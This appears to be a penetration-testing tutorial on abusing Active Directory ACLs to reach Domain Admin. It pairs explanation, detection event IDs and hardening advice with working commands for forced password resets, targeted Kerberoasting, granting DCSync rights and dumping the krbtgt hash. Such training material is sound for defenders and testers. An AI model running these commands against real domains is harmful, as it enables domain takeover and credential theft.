Skip to content
Pwnversity
AD-ACLadvanced · 13 min · upd. 2026-11

Active Directory ACL Abuse

T1098T1003.006T1558.003CWE-732

Every Active Directory object (user, group, computer, OU, GPO, the domain itself) carries a security descriptor with a DACL: the list of who can do what to it. If a regular user has one permission too many over another object (resetting its password, adding members to a group, writing an attribute, changing the DACL itself), that permission is a step in an attack path. Chaining several of them gets you to Domain Admin without exploiting any vulnerability: they are all legitimate administrative operations performed by someone who shouldn’t be able to. The invariant that breaks is least privilege in AD delegation.

flowchart LR
    U["Compromised user<br/>(support01)"] -->|"ForceChangePassword"| H["helpdesk-admin"]
    H -->|"AddMember"| G["IT-Servers group"]
    G -->|"GenericAll"| S["SRV-FILE01$"]
    G -->|"WriteDacl"| D["Domain object"]
    D -->|"DCSync granted"| K["Domain hashes<br/>(krbtgt included)"]

AD DACLs pile up over the years: help desk delegations, installers that grant broad permissions (Exchange is the classic example), provisioning scripts, inheritance from OUs. Nobody reviews them because nothing breaks. With any domain account, the attacker can read every DACL (reading them is a default permission) and look for the shortest path from what they control to what they want. Tools such as BloodHound turn that analysis into a graph.

A security descriptor contains:

  • Owner: the object’s owner. It implicitly has the right to read and modify the DACL, even if the DACL doesn’t grant it (unless an ACE for OWNER RIGHTS, S-1-3-4, restricts it).
  • DACL (Discretionary ACL): a list of ACEs (entries) granting or denying rights to a SID.
  • SACL (System ACL): which accesses are audited. No SACL, no events.

Each ACE has a type (allow or deny), a trustee SID, an access mask and, in object ACEs, a GUID that scopes the right to a specific attribute (servicePrincipalName, member…) or to an extended right (User-Force-Change-Password, DS-Replication-Get-Changes…). ACEs can be inherited from the parent container.

Right On What it allows
GenericAll Any object Full control: everything below
GenericWrite User, computer, group Writing unprotected attributes: SPN, msDS-KeyCredentialLink, scriptPath, RBCD…
WriteDacl Any object Editing the DACL: grant yourself whatever you want
WriteOwner Any object Making yourself the owner and, with that, editing the DACL
ForceChangePassword User Changing the password without knowing the current one
AddMember / AddSelf Group Adding members (or yourself)
WriteSPN User, computer Setting an SPN: targeted Kerberoasting
AddKeyCredentialLink User, computer Shadow Credentials
AllExtendedRights User, domain Includes password resets and, on the domain, DCSync
DS-Replication-Get-Changes + -All Domain DCSync
ReadLAPSPassword · ReadGMSAPassword Computer · gMSA Reading the local admin password or the managed account password

Privileged groups and accounts (Domain Admins, Enterprise Admins, Administrators, Account Operators…) are protected: every 60 minutes the SDProp process on the PDC overwrites their DACL with that of the CN=AdminSDHolder,CN=System object and sets adminCount=1 on them. Two consequences:

  • A direct DACL change on Domain Admins gets reverted within the hour.
  • A permission added on AdminSDHolder spreads to every protected object and stays: a classic persistence technique.
You have Over Attack Result
ForceChangePassword User Reset their password Their credentials
GenericWrite / WriteSPN User Targeted Kerberoasting Their hash (if the password is weak)
GenericWrite User Remove pre-authentication Targeted AS-REP roasting
GenericWrite / AddKeyCredentialLink User or computer Shadow Credentials Their TGT and NT hash
GenericWrite Computer RBCD Admin access to that computer
AddMember Group Add yourself The group’s privileges
WriteDacl Anything Grant yourself GenericAll (or DCSync on the domain) Escalation to the next step
WriteOwner Anything Become owner → WriteDacl Same as WriteDacl
GenericAll OU Inheritable ACE towards children Control of the OU’s users and computers
DCSync Domain Replicate secrets Every hash, krbtgt included
ReadLAPSPassword Computer Read the LAPS password Local admin on that computer
ReadGMSAPassword gMSA Read msDS-ManagedPassword The service account’s hash

The BloodHound graph is the fastest way: the edges (GenericAll, WriteDacl, ForceChangePassword…) come precomputed, inheritance included. From Linux, without a UI:

Ventana de terminal
# Objects the current account can modify
bloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' get writable --detail
# DACL of a specific object, filtered by who holds permissions
dacledit.py -action read -target 'helpdesk-admin' -principal 'support01' corp.local/support01:'Passw0rd!'

From Windows with PowerView:

Ventana de terminal
# Interesting ACEs whose trustee is not a standard privileged group
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match 'support01|Domain Users' }
Get-DomainObjectAcl -Identity helpdesk-admin -ResolveGUIDs
Ventana de terminal
bloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' set password helpdesk-admin 'N3wPassw0rd!2026'
# alternative with Samba
net rpc password 'helpdesk-admin' 'N3wPassw0rd!2026' -U 'corp.local/support01%Passw0rd!' -S dc01.corp.local

GenericWrite over a user: targeted Kerberoasting

Section titled “GenericWrite over a user: targeted Kerberoasting”

Set a temporary SPN, request the service ticket, crack it offline and remove the SPN. targetedKerberoast.py automates it (and cleans up afterwards):

Ventana de terminal
targetedKerberoast.py -v -d corp.local -u support01 -p 'Passw0rd!' --request-user svc-backup -o svc-backup.hash
hashcat -m 19700 svc-backup.hash rockyou.txt # AES256; -m 13100 if the ticket comes in RC4

With the same permission you can enable DONT_REQ_PREAUTH and AS-REP roast, or write msDS-KeyCredentialLink (Shadow Credentials), which doesn’t depend on the password being weak.

Ventana de terminal
bloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' add uac -f DONT_REQ_PREAUTH svc-backup
Ventana de terminal
bloodyAD -H dc01.corp.local -d corp.local -u helpdesk-admin -p 'N3wPassw0rd!2026' add groupMember 'IT-Servers' helpdesk-admin

Membership applies on the next ticket: request a new TGT (or log off and on) so the token includes the group.

WriteDacl and WriteOwner: granting yourself what’s missing

Section titled “WriteDacl and WriteOwner: granting yourself what’s missing”
Ventana de terminal
# With WriteOwner: make yourself the owner
owneredit.py -action write -new-owner 'helpdesk-admin' -target 'IT-Servers' corp.local/helpdesk-admin:'N3wPassw0rd!2026'
# As owner (or with WriteDacl): grant yourself full control
dacledit.py -action write -rights FullControl -principal 'helpdesk-admin' -target 'IT-Servers' corp.local/helpdesk-admin:'N3wPassw0rd!2026'
# On the domain object: grant yourself DCSync
dacledit.py -action write -rights DCSync -principal 'helpdesk-admin' -target-dn 'DC=corp,DC=local' corp.local/helpdesk-admin:'N3wPassw0rd!2026'

With DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain, you ask the DC to replicate secrets to you as if you were another DC:

Ventana de terminal
secretsdump.py -just-dc-user krbtgt corp.local/helpdesk-admin:'N3wPassw0rd!2026'@dc01.corp.local

See credential dumping for the rest of the extraction.

GenericAll or GenericWrite over a computer

Section titled “GenericAll or GenericWrite over a computer”
  • RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity so an account you control can request tickets as any user towards that computer (Kerberos delegation).
  • Shadow Credentials on the computer account.
  • LAPS: with GenericAll over the computer you can read its local admin password.
Ventana de terminal
nxc ldap dc01.corp.local -u support01 -p 'Passw0rd!' -M laps # readable LAPS passwords
nxc ldap dc01.corp.local -u support01 -p 'Passw0rd!' --gmsa # readable gMSA passwords

With GenericAll or WriteDacl over an OU you can add an inheritable ACE that spreads to the users and computers inside (except those with adminCount=1):

Ventana de terminal
dacledit.py -action write -rights FullControl -principal 'helpdesk-admin' \
-target-dn 'OU=Servers,DC=corp,DC=local' -inheritance corp.local/helpdesk-admin:'N3wPassw0rd!2026'

Permissions over a GPO linked to the OU are another route: see GPO abuse.

Every step leaves a change in the directory. Record the original state and revert when you finish: remove the added ACEs (dacledit.py -action remove), memberships, SPNs and UAC flags, and restore the original owner. Anything you can’t revert (a reset password), document it in the report.

  1. Collect the BloodHound graph with the account you control (or bloodyAD get writable).
  2. Find the shortest path to a valuable target (DA, DCSync, the server that matters).
  3. Order the steps by noise and reversibility; prefer those that don’t break anything.
  4. Execute step by step, renewing the ticket after each membership change.
  5. Show the impact (for example, the krbtgt hash via DCSync) and revert the changes.
  • BloodHound / SharpHound / bloodhound-python: permission graph and paths.
  • bloodyAD: read and modify objects, DACLs, memberships and UAC from Linux.
  • Impacket (dacledit.py, owneredit.py, secretsdump.py).
  • targetedKerberoast, pywhisker (Shadow Credentials), NetExec.
  • PowerView (Get-DomainObjectAcl, Add-DomainObjectAcl, Set-DomainUserPassword) on Windows.

ACLs are the glue of nearly every path to Domain Admin: they connect any account with Kerberoasting, Shadow Credentials, RBCD, GPOs and DCSync. A permission on AdminSDHolder or on the domain is also persistence that’s hard to spot.

Requires SACLs on sensitive objects and Directory Service Changes auditing enabled:

  • 5136 (directory object modified): changes to nTSecurityDescriptor (DACL), member, servicePrincipalName, msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity and userAccountControl.
  • 4738 (user changed), 4724 (password reset by another account), 4728/4732/4756 (member added to a global, local or universal group).
  • 4662 with the replication GUIDs from an account that isn’t a DC: DCSync.
  • An SPN that appears and disappears within minutes on a user account: targeted Kerberoasting.

DC security events with properly configured SACLs, Microsoft Defender for Identity and periodic graph reviews with BloodHound (it’s a defensive tool too).

  1. Audit the DACLs with BloodHound, PingCastle or ADACLScanner and remove ACEs with no owner and no reason. Start with those granted to broad groups (Domain Users, Authenticated Users, Everyone).
  2. Review AdminSDHolder and the domain object: nobody outside the DCs and the administrative groups should have replication rights.
  3. Help desk delegations scoped to specific OUs and specific rights (resetting passwords of standard users, not of administrative accounts).
  4. Tiering model: no lower-tier object with control over a higher-tier one.
  5. Clean adminCount=1 from accounts that are no longer privileged and re-enable their inheritance.
  6. Installers (Exchange and the like): review the permissions they grant on the domain.

Revert the added ACEs and memberships, rotate the credentials of the affected accounts, and if there was a DCSync treat it as a full domain compromise (rotate krbtgt twice and the rest of the privileged secrets).

  • “An ACE Up the Sleeve: Designing Active Directory DACL Backdoors” (Black Hat USA 2017): Andy Robbins and Will Schroeder (SpecterOps) showed how to design backdoors with AD DACLs; together with their work that year on ACL-based attack paths, it’s at the origin of BloodHound’s ACL edges.
  • PrivExchange (2019, CVE-2019-0686 and CVE-2019-0724): in default Exchange installs, the Exchange Windows Permissions group had WriteDacl over the domain object. Combined with an NTLM relay from the Exchange server, any account with a mailbox reached DCSync. Microsoft reduced those permissions in the February 2019 updates.
  • ACLs inherited from help desk delegations and provisioning tools are among the most frequent findings in AD assessments.

More cases on NVD (https://nvd.nist.gov/vuln/search) and in BloodHound’s edge documentation.

  • BloodHound graph collected with the initial account.
  • Effective permissions of the account’s groups (including Domain Users and Authenticated Users).
  • Paths with GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword, AddMember.
  • Replication rights (DCSync) outside the DCs.
  • LAPS and gMSA readable by those who shouldn’t.
  • Permissions over OUs, GPOs and AdminSDHolder.
  • Steps executed lowest-impact first and reverted at the end.